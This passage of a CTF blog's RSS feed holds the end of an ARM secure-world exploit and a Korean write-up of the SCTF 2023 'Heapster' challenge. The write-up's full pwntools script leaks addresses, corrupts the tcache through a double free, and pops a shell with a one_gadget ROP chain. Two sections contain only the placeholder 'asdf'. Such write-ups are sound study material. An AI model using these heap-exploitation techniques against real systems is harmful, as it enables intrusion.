&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SEL_WSM_ADDR &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x2400000&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x2000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TCI_BUF &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFEFFFFE000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sel0_arbitrary_code_execute(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    sel0_get_flag_assembly(),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    ldr x28, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(TCI_BUF)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    movz x3, #&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;puts&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFF&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    movk x3, #&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex((elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;puts&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;16&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFF&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;, LSL #16;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    mov x0, x28;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    blr x3;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# b *0x7FFEFFFFD120&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;FLAG &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;recvline()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print(&lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Flag: &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;FLAG&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decode()&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;close()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;sel1&#34;&gt;S.EL1&lt;/h3&gt;
&lt;p&gt;asdf&lt;/p&gt;
&lt;h3 id=&#34;el3-1&#34;&gt;EL3&lt;/h3&gt;
&lt;p&gt;asdf&lt;/p&gt;
&lt;h1 id=&#34;reference&#34;&gt;Reference&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.arm.com/documentation/ddi0487/latest/&#34;&gt;https://developer.arm.com/documentation/ddi0487/latest/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>SCTF 2023 - Heapster</title>
      <link>/posts/ctf/2023/samsungctf/heapster/</link>
      <pubDate>Wed, 23 Aug 2023 10:28:45 +0000</pubDate>
      
      <guid>/posts/ctf/2023/samsungctf/heapster/</guid>
      <description>&lt;h2 id=&#34;취약점&#34;&gt;취약점&lt;/h2&gt;
&lt;p&gt;Validation 함수을 이용해서 Stack의 값을 알아낼 수 있고 PIE, LIBC_BASE, Stack의 주소를 알아낼 수 있다.
또한 Heap에 data 영역을 사용해서 Heap의 주소도 알아낼 수 있다.&lt;/p&gt;
&lt;h2 id=&#34;익스플로잇&#34;&gt;익스플로잇&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;1&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;1&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;python&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;Exploit&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-python&#34; &gt;&lt;code&gt;
from pwn import *
import struct

# context.log_level = &amp;#39;debug&amp;#39;

libc_one_gadget = 0xebcf8
libc_pop_rsi = 0x000000000002be51

def conceal_next(pos, ptr):
    return (pos&amp;gt;&amp;gt;12) ^ ptr
def reveal_next(x):
    tmp = x ^ ( (x&amp;gt;&amp;gt;12)&amp;amp;0xfff000000 )
    tmp = x ^ ( (tmp&amp;gt;&amp;gt;12)&amp;amp;0xffffff000 )
    tmp = x ^ ( (tmp&amp;gt;&amp;gt;12) )
    return tmp

def add(index, data):
    p.recvuntil(b&amp;#39;cmd: &amp;#39;)
    p.sendline(b&amp;#39;1&amp;#39;)
    p.sendline(str(index).encode())
    p.send(data)
def delete(index):
    p.recvuntil(b&amp;#39;cmd: &amp;#39;)
    p.sendline(b&amp;#39;2&amp;#39;)
    p.sendline(str(index).encode())
def print_node():
    p.recvuntil(b&amp;#39;cmd: &amp;#39;)
    p.sendline(b&amp;#39;3&amp;#39;)
def validation():
    p.recvuntil(b&amp;#39;cmd: &amp;#39;)
    p.sendline(b&amp;#39;4&amp;#39;)

def leak_stack(index):
    add(index, b&amp;#39;a&amp;#39;*8)
    stack_addr = b&amp;#39;&amp;#39;
    for _ in range(8):
        for i in range(0x01, 0xff&amp;#43;1):
            add(index, stack_addr &amp;#43; struct.pack(&amp;#34;B&amp;#34;, i) &amp;#43; b&amp;#39;\n&amp;#39;)
            validation()
            result = p.recvuntil(b&amp;#39;.\n&amp;#39;)
            if(b&amp;#39;success&amp;#39; in result):
                stack_addr &amp;#43;= struct.pack(&amp;#34;B&amp;#34;, i)
                break
            elif(b&amp;#39;fail&amp;#39; in result):
                continue
            else:
                print(&amp;#34;ERROR&amp;#34;)
                assert(0)
    add(index, b&amp;#39;\x00&amp;#39;)
    return u64(stack_addr.ljust(8, b&amp;#39;\x00&amp;#39;))


######### Open Process and etc. #########
# p = process(&amp;#39;./chal&amp;#39;)
p = remote(&amp;#39;heapster.sstf.site&amp;#39;, 31339)
elf = ELF(&amp;#39;./chal&amp;#39;)
libc = ELF(&amp;#39;./libc.so.6&amp;#39;)

######### Leak Informations #########
### Leak Stack ###
stack_addr = leak_stack(10) &amp;#43; 8
log.info(&amp;#34;STACK : &amp;#34; &amp;#43; hex(stack_addr))
### Leak PIE base ###
# I don&amp;#39;t use PIE base address, but I just leak it.
pie_addr = leak_stack(11) - 0x1792
log.info(&amp;#34;PIE : &amp;#34; &amp;#43; hex(pie_addr))
### Leak Libc base ###
libc_base = leak_stack(21) - 0x29d90 # __libc_start_call_main&amp;#43;128
log.info(&amp;#34;LIBC : &amp;#34; &amp;#43; hex(libc_base))
### Leak Heap ###
# reuse heap used for leak ret and pie.
delete(10)
# now, tcache : 10 || count = 1
delete(11)
# now, tcache : 11 -&amp;gt; 10 || count = 2
print_node()
p.recvuntil(b&amp;#39;-&amp;gt;&amp;#39;)
heap_addr = reveal_next(u64(p.recvuntil(b&amp;#39;\n&amp;#39;)[:-1].ljust(8, b&amp;#39;\x00&amp;#39;)))
log.info(&amp;#34;HEAP : &amp;#34; &amp;#43; hex(heap_addr))

######### ROP using Double Free #########
### set pop rdi ###
# tcache : 11 -&amp;gt; 10 || count = 2
add(11, b&amp;#39;a&amp;#39;*16)
delete(11)
# now, tcache : 11 -&amp;gt; 11 ; 10 || count = 3
add(3, p64(conceal_next(heap_addr &amp;#43; 0x20, stack_addr - 0x8)))
# now, tcache : 11 -&amp;gt; (sfp of main) ; 11 || count = 2
add(31, b&amp;#39;a&amp;#39;*16)
# now, tcache : (sfp of main) ; 10 || count = 1
pl = p64(stack_addr &amp;#43; 0x20)
pl &amp;#43;= p64(libc_base &amp;#43; libc_pop_rsi)
add(30, pl)
# now, tcache : (null) ; 10 || count = 0
for _ in range(3):
    add(11, b&amp;#39;a&amp;#39;*16)
    delete(11)
# now, tcache : 11 -&amp;gt; 11 -&amp;gt; 11 ; 10 || count = 3
add(3, p64(conceal_next(heap_addr &amp;#43; 0x20, stack_addr &amp;#43; 0x10 - 0x8)))
# now, tcache : 11 -&amp;gt; (ret&amp;#43;8 of main) ; 10 || count = 2
add(29, b&amp;#39;a&amp;#39;*16)
# now, tcache : (ret&amp;#43;8 of main) ; 10 || count = 1
pl = p64(0)
pl &amp;#43;= p64(libc_base &amp;#43; libc_one_gadget)
add(28, pl)

######### Exit main and get shell #########
p.sendline(b&amp;#39;5&amp;#39;)

p.interactive()

&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;</description>
      <content>&lt;h2 id=&#34;취약점&#34;&gt;취약점&lt;/h2&gt;
&lt;p&gt;Validation 함수을 이용해서 Stack의 값을 알아낼 수 있고 PIE, LIBC_BASE, Stack의 주소를 알아낼 수 있다.
또한 Heap에 data 영역을 사용해서 Heap의 주소도 알아낼 수 있다.&lt;/p&gt;
&lt;h2 id=&#34;익스플로잇&#34;&gt;익스플로잇&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;1&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;1&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;python&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;Exploit&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-python&#34; &gt;&lt;code&gt;
from pwn import *
import struct

# context.log_level = &amp;#39;debug&amp;#39;

libc_one_gadget = 0xebcf8
libc_pop_rsi = 0x000000000002be51

def conceal_next(pos, ptr):
    return (pos&amp;gt;&amp;gt;12) ^ ptr
def reveal_next(x):
    tmp = x ^ ( (x&amp;gt;&amp;gt;12)&amp;amp;0xfff000000 )
    tmp = x ^ ( (tmp&amp;gt;&amp;gt;12)&amp;amp;0xffffff000 )
    tmp = x ^ ( (tmp&amp;gt;&amp;gt;12) )
    return tmp

def add(index, data):
    p.recvuntil(b&amp;#39;cmd: &amp;#39;)
    p.sendline(b&amp;#39;1&amp;#39;)
    p.sendline(str(index).encode())
    p.send(data)
def delete(index):
    p.recvuntil(b&amp;#39;cmd: &amp;#39;)
    p.sendline(b&amp;#39;2&amp;#39;)
    p.sendline(str(index).encode())
def print_node():
    p.recvuntil(b&amp;#39;cmd: &amp;#39;)
    p.sendline(b&amp;#39;3&amp;#39;)
def validation():
    p.recvuntil(b&amp;#39;cmd: &amp;#39;)
    p.sendline(b&amp;#39;4&amp;#39;)

def leak_stack(index):
    add(index, b&amp;#39;a&amp;#39;*8)
    stack_addr = b&amp;#39;&amp;#39;
    for _ in range(8):
        for i in range(0x01, 0xff&amp;#43;1):
            add(index, stack_addr &amp;#43; struct.pack(&amp;#34;B&amp;#34;, i) &amp;#43; b&amp;#39;\n&amp;#39;)
            validation()
            result = p.recvuntil(b&amp;#39;.\n&amp;#39;)
            if(b&amp;#39;success&amp;#39; in result):
                stack_addr &amp;#43;= struct.pack(&amp;#34;B&amp;#34;, i)
                break
            elif(b&amp;#39;fail&amp;#39; in result):
                continue
            else:
                print(&amp;#34;ERROR&amp;#34;)
                assert(0)
    add(index, b&amp;#39;\x00&amp;#39;)
    return u64(stack_addr.ljust(8, b&amp;#39;\x00&amp;#39;))


######### Open Process and etc. #########
# p = process(&amp;#39;./chal&amp;#39;)
p = remote(&amp;#39;heapster.sstf.site&amp;#39;, 31339)
elf = ELF(&amp;#39;./chal&amp;#39;)
libc = ELF(&amp;#39;./libc.so.6&amp;#39;)

######### Leak Informations #########
### Leak Stack ###
stack_addr = leak_stack(10) &amp;#43; 8
log.info(&amp;#34;STACK : &amp;#34; &amp;#43; hex(stack_addr))
### Leak PIE base ###
# I don&amp;#39;t use PIE base address, but I just leak it.
pie_addr = leak_stack(11) - 0x1792
log.info(&amp;#34;PIE : &amp;#34; &amp;#43; hex(pie_addr))
### Leak Libc base ###
libc_base = leak_stack(21) - 0x29d90 # __libc_start_call_main&amp;#43;128
log.info(&amp;#34;LIBC : &amp;#34; &amp;#43; hex(libc_base))
### Leak Heap ###
# reuse heap used for leak ret and pie.
delete(10)
# now, tcache : 10 || count = 1
delete(11)
# now, tcache : 11 -&amp;gt; 10 || count = 2
print_node()
p.recvuntil(b&amp;#39;-&amp;gt;&amp;#39;)
heap_addr = reveal_next(u64(p.recvuntil(b&amp;#39;\n&amp;#39;)[:-1].ljust(8, b&amp;#39;\x00&amp;#39;)))
log.info(&amp;#34;HEAP : &amp;#34; &amp;#43; hex(heap_addr))

######### ROP using Double Free #########
### set pop rdi ###
# tcache : 11 -&amp;gt; 10 || count = 2
add(11, b&amp;#39;a&amp;#39;*16)
delete(11)
# now, tcache : 11 -&amp;gt; 11 ; 10 || count = 3
add(3, p64(conceal_next(heap_addr &amp;#43; 0x20, stack_addr - 0x8)))
# now, tcache : 11 -&amp;gt; (sfp of main) ; 11 || count = 2
add(31, b&amp;#39;a&amp;#39;*16)
# now, tcache : (sfp of main) ; 10 || count = 1
pl = p64(stack_addr &amp;#43; 0x20)
pl &amp;#43;= p64(libc_base &amp;#43; libc_pop_rsi)
add(30, pl)
# now, tcache : (null) ; 10 || count = 0
for _ in range(3):
    add(11, b&amp;#39;a&amp;#39;*16)
    delete(11)
# now, tcache : 11 -&amp;gt; 11 -&amp;gt; 11 ; 10 || count = 3
add(3, p64(conceal_next(heap_addr &amp;#43; 0x20, stack_addr &amp;#43; 0x10 - 0x8)))
# now, tcache : 11 -&amp;gt; (ret&amp;#43;8 of main) ; 10 || count = 2
add(29, b&amp;#39;a&amp;#39;*16)
# now, tcache : (ret&amp;#43;8 of main) ; 10 || count = 1
pl = p64(0)
pl &amp;#43;= p64(libc_base &amp;#43; libc_one_gadget)
add(28, pl)

######### Exit main and get shell #########
p.sendline(b&amp;#39;5&amp;#39;)

p.interactive()

&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;


</content>
    </item>
    
  </channel>
</rss>
